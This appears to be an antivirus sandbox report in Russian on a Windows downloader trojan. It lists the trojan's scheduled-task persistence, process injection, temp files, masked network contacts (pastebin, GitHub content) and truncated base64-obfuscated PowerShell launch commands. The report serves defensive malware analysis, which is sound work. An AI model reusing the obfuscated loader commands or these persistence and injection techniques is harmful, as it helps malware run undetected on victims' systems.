Trojan.DownLoader49.54723

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\maintenance settings control panel\maintenance settings control panel

Вредоносные функции

Внедряет код в

следующие системные процессы:

<SYSTEM32>\fontdrvhost.exe

Завершает или пытается завершить

следующие системные процессы:

<SYSTEM32>\conhost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\__psscriptpolicytest_bycx0hpi.hxr.ps1
%TEMP%\__psscriptpolicytest_2siovozg.sf1.psm1
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-25-280.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-25-945.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-26-130.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-26-663.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-27-075.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-27-151.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-27-539.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-27-778.dump
%TEMP%\__psscriptpolicytest_auakdzm0.ebz.ps1
%TEMP%\__psscriptpolicytest_1ptmx0it.iq5.psm1
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-30-358.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-30-390.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-30-744.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-31-548.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-32-012.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-32-066.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-32-097.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-32-128.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-32-229.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-32-267.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-32-949.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-37-023.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-37-424.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-37-494.dump
%TEMP%\__psscriptpolicytest_jbxyw4v1.lmo.ps1
%TEMP%\__psscriptpolicytest_h5u2onvw.ut3.psm1
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-38-254.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-38-270.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-38-493.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-39-861.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-40-077.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-40-559.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-41-170.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-41-270.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-41-464.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-42-855.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-43-178.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-43-310.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-43-511.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-44-578.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-44-593.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-44-600.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-44-763.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-44-778.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-45-196.dump
%TEMP%\content\1956-5292-<Имя файла>.exe-17-45-45-202.dump
%LOCALAPPDATA%\microsoft\windows\powershell\moduleanalysiscache
%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log

Удаляет файлы, которые сам же создал

%TEMP%\__psscriptpolicytest_bycx0hpi.hxr.ps1
%TEMP%\__psscriptpolicytest_2siovozg.sf1.psm1
%TEMP%\__psscriptpolicytest_auakdzm0.ebz.ps1
%TEMP%\__psscriptpolicytest_1ptmx0it.iq5.psm1
%TEMP%\__psscriptpolicytest_jbxyw4v1.lmo.ps1
%TEMP%\__psscriptpolicytest_h5u2onvw.ut3.psm1

Сетевая активность

Подключается к

'ma##r.info':443
'ap#.#pify.org':443
'pa###bin.com':443
'gi##.github.com':443
'gi##.###hubusercontent.com':443
'x1.#.lencr.org':80

TCP

Запросы HTTP GET

http://x1.#.lencr.org/

Другие

'ma##r.info':443
'ap#.#pify.org':443
'pa###bin.com':443
'gi##.github.com':443
'gi##.###hubusercontent.com':443

UDP

DNS ASK ma##r.info
DNS ASK ap#.#pify.org
DNS ASK pa###bin.com
DNS ASK gi##.github.com
DNS ASK gi##.###hubusercontent.com
DNS ASK x1.#.lencr.org

Другое

Запускает на исполнение

'<SYSTEM32>\conhost.exe' --headless powerSHeLL "([String]::New([Convert]::FromBase64String('KFtTdHJpbmddOjpOZXcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKChHcCAoJ0hLJytbY2hhcl03NisnTTpcUyplJytbY2hhcl05MisnUyptJykpLignQ28nK1...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' ([String]::New([Convert]::FromBase64String('KFtTdHJpbmddOjpOZXcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKChHcCAoJ0hLJytbY2hhcl03NisnTTpcUyplJytbY2hhcl05MisnUyptJykpLignQ28nK1tjaGFyXTExMCtbY2hhcl0xM...
'<SYSTEM32>\fontdrvhost.exe'